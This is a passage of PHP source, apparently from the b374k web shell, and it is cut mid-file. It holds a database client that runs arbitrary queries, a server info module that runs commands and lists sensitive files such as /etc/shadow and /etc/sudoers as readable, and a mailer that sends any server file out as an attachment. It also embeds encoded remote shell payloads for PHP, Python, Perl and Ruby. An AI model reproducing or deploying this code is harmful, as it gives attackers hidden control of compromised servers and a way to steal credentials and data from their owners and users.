</tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_run();\\">run</span></td> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_disconnect();\\">disconnect</span></td> <td>Separate multiple commands with a semicolon <span class=\'strong\'>(</span> ; <span class=\'strong\'>)</span></td> </tr>\n</tfoot>\n</table>\n<div id=\'dbBottom\' style=\'display:none;\'>\n<br>\n<table class=\'border\' style=\'padding:0;\'><tr><td id=\'dbNav\' class=\'colFit borderright\' style=\'vertical-align:top;\'></td><td id=\'dbResult\' style=\'vertical-align:top;\'></td></tr></table>\n</div>\n"; if(!function_exists(\'sql_connect\')){ function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return new mysqli($sqlhost, $sqluser, $sqlpass); elseif(function_exists(\'mysql_connect\')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_connect\')){ $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); return @sqlsrv_connect($sqlhost,$coninfo); } elseif(function_exists(\'mssql_connect\')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'pgsql\'){ $hosts = explode(":", $sqlhost); if(count($hosts)==2){ $host_str = "host=".$hosts[0]." port=".$hosts[1]; } else $host_str = "host=".$sqlhost; if(function_exists(\'pg_connect\')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); } elseif($sqltype == \'oracle\'){ if(function_exists(\'oci_connect\')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } elseif($sqltype == \'sqlite3\'){ if(class_exists(\'SQLite3\')) if(!empty($sqlhost)) return new SQLite3($sqlhost); else return false; } elseif($sqltype == \'sqlite\'){ if(function_exists(\'sqlite_open\')) return @sqlite_open($sqlhost); } elseif($sqltype == \'odbc\'){ if(function_exists(\'odbc_connect\')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'pdo\'){ if(class_exists(\'PDO\')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); else return false; } return false; }\n} if(!function_exists(\'sql_query\')){ function sql_query($sqltype, $query, $con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->query($query); elseif(function_exists(\'mysql_query\')) return mysql_query($query); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_query\')) return sqlsrv_query($con,$query); elseif(function_exists(\'mssql_query\')) return mssql_query($query); } elseif($sqltype == \'pgsql\') return pg_query($query); elseif($sqltype == \'oracle\') return oci_execute(oci_parse($con, $query)); elseif($sqltype == \'sqlite3\') return $con->query($query); elseif($sqltype == \'sqlite\') return sqlite_query($con, $query); elseif($sqltype == \'odbc\') return odbc_exec($con, $query); elseif($sqltype == \'pdo\') return $con->query($query); }\n} if(!function_exists(\'sql_num_rows\')){ function sql_num_rows($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->mysqli_num_rows; elseif(function_exists(\'mysql_num_rows\')) return mysql_num_rows($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_rows\')) return sqlsrv_num_rows($result); elseif(function_exists(\'mssql_num_rows\')) return mssql_num_rows($result); } elseif($sqltype == \'pgsql\') return pg_num_rows($result); elseif($sqltype == \'oracle\') return oci_num_rows($result); elseif($sqltype == \'sqlite3\'){ $metadata = $result->fetchArray(); if(is_array($metadata)) return $metadata[\'count\']; } elseif($sqltype == \'sqlite\') return sqlite_num_rows($result); elseif($sqltype == \'odbc\') return odbc_num_rows($result); elseif($sqltype == \'pdo\') return $result->rowCount(); }\n} if(!function_exists(\'sql_num_fields\')){ function sql_num_fields($sqltype, $result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->field_count; elseif(function_exists(\'mysql_num_fields\')) return mysql_num_fields($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_fields\')) return sqlsrv_num_fields($result); elseif(function_exists(\'mssql_num_fields\')) return mssql_num_fields($result); } elseif($sqltype == \'pgsql\') return pg_num_fields($result); elseif($sqltype == \'oracle\') return oci_num_fields($result); elseif($sqltype == \'sqlite3\') return $result->numColumns(); elseif($sqltype == \'sqlite\') return sqlite_num_fields($result); elseif($sqltype == \'odbc\') return odbc_num_fields($result); elseif($sqltype == \'pdo\') return $result->columnCount(); }\n} if(!function_exists(\'sql_field_name\')){ function sql_field_name($sqltype,$result,$i){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) { $z=$result->fetch_field();return $z->name;} elseif(function_exists(\'mysql_field_name\')) return mysql_field_name($result,$i); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_field_metadata\')){ $metadata = sqlsrv_field_metadata($result); if(is_array($metadata)){ $metadata=$metadata[$i]; } if(is_array($metadata)) return $metadata[\'Name\']; } elseif(function_exists(\'mssql_field_name\')) return mssql_field_name($result,$i); } elseif($sqltype == \'pgsql\') return pg_field_name($result,$i); elseif($sqltype == \'oracle\') return oci_field_name($result,$i+1); elseif($sqltype == \'sqlite3\') return $result->columnName($i); elseif($sqltype == \'sqlite\') return sqlite_field_name($result,$i); elseif($sqltype == \'odbc\') return odbc_field_name($result,$i+1); elseif($sqltype == \'pdo\'){ $res = $result->getColumnMeta($i); return $res[\'name\']; } }\n} if(!function_exists(\'sql_fetch_data\')){ function sql_fetch_data($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->fetch_row(); elseif(function_exists(\'mysql_fetch_row\')) return mysql_fetch_row($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_fetch_array\')) return sqlsrv_fetch_array($result,1); elseif(function_exists(\'mssql_fetch_row\')) return mssql_fetch_row($result); } elseif($sqltype == \'pgsql\') return pg_fetch_row($result); elseif($sqltype == \'oracle\') return oci_fetch_row($result); elseif($sqltype == \'sqlite3\') return $result->fetchArray(1); elseif($sqltype == \'sqlite\') return sqlite_fetch_array($result,1); elseif($sqltype == \'odbc\') return odbc_fetch_array($result); elseif($sqltype == \'pdo\') return $result->fetch(2); }\n} if(!function_exists(\'sql_close\')){ function sql_close($sqltype,$con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->close(); elseif(function_exists(\'mysql_close\')) return mysql_close($con); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_close\')) return sqlsrv_close($con); elseif(function_exists(\'mssql_close\')) return mssql_close($con); } elseif($sqltype == \'pgsql\') return pg_close($con); elseif($sqltype == \'oracle\') return oci_close($con); elseif($sqltype == \'sqlite3\') return $con->close(); elseif($sqltype == \'sqlite\') return sqlite_close($con); elseif($sqltype == \'odbc\') return odbc_close($con); elseif($sqltype == \'pdo\') return $con = null; }\n} if(!function_exists(\'sql_get_supported\')){ function sql_get_supported(){ $db_supported = array(); if(function_exists("mysql_connect")) $db_supported[] = \'mysql\'; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = \'mssql\'; if(function_exists("pg_connect")) $db_supported[] = \'pgsql\'; if(function_exists("oci_connect")) $db_supported[] = \'oracle\'; if(function_exists("sqlite_open")) $db_supported[] = \'sqlite\'; if(class_exists("SQLite3")) $db_supported[] = \'sqlite3\'; if(function_exists("odbc_connect")) $db_supported[] = \'odbc\'; if(class_exists("PDO")) $db_supported[] = \'pdo\'; return implode(",", $db_supported); }\n} if(isset($p[\'dbGetSupported\'])){ $res = sql_get_supported(); if(empty($res)) $res = "error"; output($res);\n}\nelseif(isset($p[\'dbType\'])&&isset($p[\'dbHost\'])&&isset($p[\'dbUser\'])&&isset($p[\'dbPass\'])&&isset($p[\'dbPort\'])){ $type = $p[\'dbType\']; $host = $p[\'dbHost\']; $user = $p[\'dbUser\']; $pass = $p[\'dbPass\']; $port = $p[\'dbPort\']; $con = sql_connect($type ,$host , $user , $pass); $res = ""; if($con!==false){ if(isset($p[\'dbQuery\'])){ $query = $p[\'dbQuery\']; $pagination = ""; if((isset($p[\'dbDB\']))&&(isset($p[\'dbTable\']))){ $db = trim($p[\'dbDB\']); $table = trim($p[\'dbTable\']); $start = (int) (isset($p[\'dbStart\']))? trim($p[\'dbStart\']):0; $limit = (int) (isset($p[\'dbLimit\']))? trim($p[\'dbLimit\']):100; if($type==\'mysql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; } elseif($type==\'mssql\'){ $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; } elseif($type==\'pgsql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; } elseif($type==\'oracle\'){ $limit = $start + $limit; $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; } elseif($type==\'sqlite\' || $type==\'sqlite3\'){ $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; } else $query = ""; $pagination = "Limit <input type=\'text\' id=\'dbLimit\' value=\'".html_safe($limit)."\' style=\'width:50px;\'> <span class=\'button\' onclick=\\"db_pagination(\'prev\');\\">prev</span> <span class=\'button\' onclick=\\"db_pagination(\'next\');\\">next</span> <input type=\'hidden\' id=\'dbDB\' value=\'".html_safe($db)."\'> <input type=\'hidden\' id=\'dbTable\' value=\'".html_safe($table)."\'> <input type=\'hidden\' id=\'dbStart\' value=\'".html_safe($start)."\'> "; } $querys = explode(";", $query); foreach($querys as $query){ if(trim($query) != ""){ $query_query = sql_query($type, $query, $con); if($query_query!=false){ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> ok <span class=\'strong\'>]</span></p>"; if(!empty($pagination)){ $res .= "<p>".$pagination."</p>"; } if(!is_bool($query_query)){ $res .= "<table class=\'border dataView sortable tblResult\'><tr>"; for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>"; $res .= "</tr>"; while($rows = sql_fetch_data($type, $query_query)){ $res .= "<tr>"; foreach($rows as $r){ if(empty($r)) $r = " "; $res .= "<td>".html_safe($r)."</td>"; } $res .= "</tr>"; } $res .= "</table>"; } } else{ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> error <span class=\'strong\'>]</span></p>"; } } } } else{ if(($type!=\'pdo\') && ($type!=\'odbc\')){ if($type==\'mysql\') $showdb = "SHOW DATABASES"; elseif($type==\'mssql\') $showdb = "SELECT name FROM master..sysdatabases"; elseif($type==\'pgsql\') $showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($type==\'oracle\') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showdb = "SELECT \\"".$host."\\""; else $showdb = "SHOW DATABASES"; $query_db = sql_query($type, $showdb, $con); if($query_db!=false) { while($db_arr = sql_fetch_data($type, $query_db)){ foreach($db_arr as $db){ if($type==\'mysql\') $showtbl = "SHOW TABLES FROM ".$db; elseif($type==\'mssql\') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = \'U\'"; elseif($type==\'pgsql\') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema=\'".$db."\'"; elseif($type==\'oracle\') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=\'".$db."\'"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showtbl = "SELECT name FROM sqlite_master WHERE type=\'table\'"; else $showtbl = ""; $res .= "<p class=\'boxtitle boxNav\' style=\'padding:8px 32px;margin-bottom:4px;\'>".$db."</p><table class=\'border\' style=\'display:none;margin:8px 0;\'>"; $query_table = sql_query($type, $showtbl, $con); if($query_table!=false){ while($tables_arr = sql_fetch_data($type, $query_table)){ foreach($tables_arr as $table) $res .= "<tr><td class=\'dbTable borderbottom\' style=\'cursor:pointer;\'>".$table."</td></tr>"; } } $res .= "</table>"; } } } } } } if(!empty($res)) output($res); output(\'error\');\n} ?><?php\n$GLOBALS[\'module\'][\'info\'][\'id\'] = "info";\n$GLOBALS[\'module\'][\'info\'][\'title\'] = "Info";\n$GLOBALS[\'module\'][\'info\'][\'js_ontabselected\'] = "";\n$GLOBALS[\'module\'][\'info\'][\'content\'] = "<div class=\'border infoResult\'></div>"; if(!function_exists(\'info_getinfo\')){ function info_getinfo(){ $res = ""; $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_server\');\\" style=\'margin-bottom:8px;\'>Server Info</p>"; $res .= "<div id=\'info_server\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; if(is_win()){ foreach (range("A", "Z") as $letter){ if(is_readable($letter.":\\\\")){ $drive = $letter.":"; $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>"; } } } else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>"; $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $access = array("python"=>"python -V", "perl"=>"perl -e \\"print \\$]\\"", "python"=>"python -V", "ruby"=>"ruby -v", "node"=>"node -v", "nodejs"=>"nodejs -v", "gcc"=>"gcc -dumpversion", "java"=>"java -version", "javac"=>"javac -version" ); foreach($access as $k=>$v){ $version = execute($v); $version = explode("\\n", $version); if($version[0]) $version = $version[0]; else $version = "?"; $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>"; } if(!is_win()){ $interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($interesting as $f){ if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path=\'".html_safe($f)."\' onclick=\'view_entry(this);\'>".$f." is readable</a></td></tr>"; } } $res .= "</table></div>"; if(!is_win()){ if($i_buff=trim(read_file("/proc/cpuinfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_cpu\');\\" style=\'margin-bottom:8px;\'>CPU Info</p>"; $res .= "<div class=\'info\' id=\'info_cpu\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); foreach($i_buffs as $i_buffss){ $i_buffss = trim($i_buffss); if($i_buffss!=""){ $i_buffsss = explode("\\n", $i_buffss); $res .= "<table class=\'dataView\'>"; foreach($i_buffsss as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } } $res .= "</table>"; } } $res .= "</div>"; } if($i_buff=trim(read_file("/proc/meminfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_mem\');\\" style=\'margin-bottom:8px;\'>Memory Info</p>"; $i_buffs = explode("\\n", $i_buff); $res .= "<div class=\'info\' id=\'info_mem\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; foreach($i_buffs as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } else $res .= "</table><table class=\'dataView\'>"; } $res .= "</table></div>"; } if($i_buff=trim(read_file("/proc/partitions"))){ $i_buff = preg_replace("/\\ +/", " ", $i_buff); $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_part\');\\" style=\'margin-bottom:8px;\'>Partitions Info</p>"; $res .= "<div class=\'info\' id=\'info_part\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); $res .= "<table class=\'dataView\'><tr>"; $i_head = explode(" ", $i_buffs[0]); foreach($i_head as $h) $res .= "<th>".$h."</th>"; $res .= "</tr>"; $i_buffss = explode("\\n", $i_buffs[1]); foreach($i_buffss as $i_b){ $i_row = explode(" ", trim($i_b)); $res .= "<tr>"; foreach($i_row as $r) $res .= "<td style=\'text-align:center;\'>".$r."</td>"; $res .= "</tr>"; } $res .= "</table>"; $res .= "</div>"; } } $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($phpinfo as $p=>$i){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'".$i."\');\\" style=\'margin-bottom:8px;\'>".$p."</p>"; ob_start(); eval("phpinfo(".$i.");"); $b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\\/body>/is", $b, $r)){ $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]); $body = str_replace("<table", "<table class=\'boxtbl\' ", $body); $body = preg_replace("/<tr class=\\"h\\">(.*?)<\\/tr>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.php.net\\/(.*?)<\\/a>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.zend.com\\/(.*?)<\\/a>/", "", $body); $res .= "<div class=\'info\' id=\'".$i."\' style=\'margin-bottom:8px;display:none;\'>".$body."</div>"; } } $res .= "<span class=\'button colSpan\' onclick=\\"info_refresh();\\" style=\'margin-bottom:8px;\'>refresh</span><div style=\'clear:both;\'></div>"; return $res; }\n} if(isset($p[\'infoRefresh\'])){ output(info_getinfo());\n} ?><?php\n$GLOBALS[\'module\'][\'mail\'][\'id\'] = "mail";\n$GLOBALS[\'module\'][\'mail\'][\'title\'] = "Mail";\n$GLOBALS[\'module\'][\'mail\'][\'js_ontabselected\'] = "if(!portableMode) $(\'#mailFrom\').focus();";\n$GLOBALS[\'module\'][\'mail\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Mail</p></th></tr>\n</thead>\n<tbody id=\'mailTBody\'> <tr><td style=\'width:120px\'>From</td><td colspan=\'2\'><input type=\'text\' id=\'mailFrom\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>To</td><td><input type=\'text\' id=\'mailTo\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>Subject</td><td><input type=\'text\' id=\'mailSubject\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr>\n</tbody>\n<tfoot> <tr><td colspan=\'2\'><textarea id=\'mailContent\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr> <td colspan=\'2\'><span style=\'width:120px;\' class=\'button\' onclick=\\"mail_send();\\">send</span> <span style=\'width:120px;\' class=\'button\' onclick=\\"mail_attach();\\">attachment</span> </td> </tr> <tr><td colspan=\'2\'><span id=\'mailResult\'></span></td></tr>\n</tfoot>\n</table>\n"; if(!function_exists(\'send_email\')){ function send_email($from, $to, $subject, $msg, $attachment){ $headers = "MIME-Version: 1.0\\r\\n".$from; $rand = md5(time()); $headers .= "Content-Type: multipart/mixed; boundary=\\"".$rand."\\"\\r\\n\\r\\n"; $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: text/html; charset=\\"UTF-8\\"\\r\\nContent-Transfer-Encoding: 8bit\\r\\n\\r\\n"; $headers .= $msg."\\r\\n\\r\\n"; if(count($attachment)>0){ foreach($attachment as $file){ if(is_file($file)){ $content = chunk_split(base64_encode(read_file($file))); $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: application/octet-stream; name=\\"".basename($file)."\\"\\r\\n"; $headers .= "Content-Transfer-Encoding: base64\\r\\n"; $headers .= "Content-Disposition: attachment\\r\\n\\r\\n"; $headers .= $content."\\r\\n\\r\\n"; } } } $headers .= "--".$rand."--\\r\\n"; if(@mail($to, $subject, "", $headers)) return true; return false; }\n} if(isset($p[\'mailFrom\'])&&isset($p[\'mailTo\'])&&isset($p[\'mailSubject\'])&&isset($p[\'mailContent\'])){ $mailFrom = trim($p[\'mailFrom\']); $mailTo = trim($p[\'mailTo\']); $mailSubject = trim($p[\'mailSubject\']); $mailContent = trim($p[\'mailContent\']); $mailAttachment = trim($p[\'mailAttachment\']); $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p[\'mailAttachment\']):array(); if(empty($mailTo)) output("Please specify at least one recipient"); if(!empty($mailFrom)){ $mailFrom = "From: ".$mailFrom."\\r\\nReply-To: ".$mailFrom."\\r\\n"; } foreach($mailAttachment as $file){ $file = trim($file); if(empty($file)) continue; if(!is_file($file)) output("No such file : ".$file); } if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); output("Failed to send mail");\n} ?><?php\n$server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";\n$remote_addr = isset($_SERVER[\'REMOTE_ADDR\'])? $_SERVER[\'REMOTE_ADDR\']:"";\n$default_port = 13123;\n$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""; $GLOBALS[\'resources\'][\'rs_php\'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";\n$GLOBALS[\'resources\'][\'rs_python\'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";\n$GLOBALS[\'resources\'][\'rs_perl\'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";\n$GLOBALS[\'resources\'][\'rs_ruby\'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";\n$GLOBALS[\'resources\'][\'rs_node\'] = 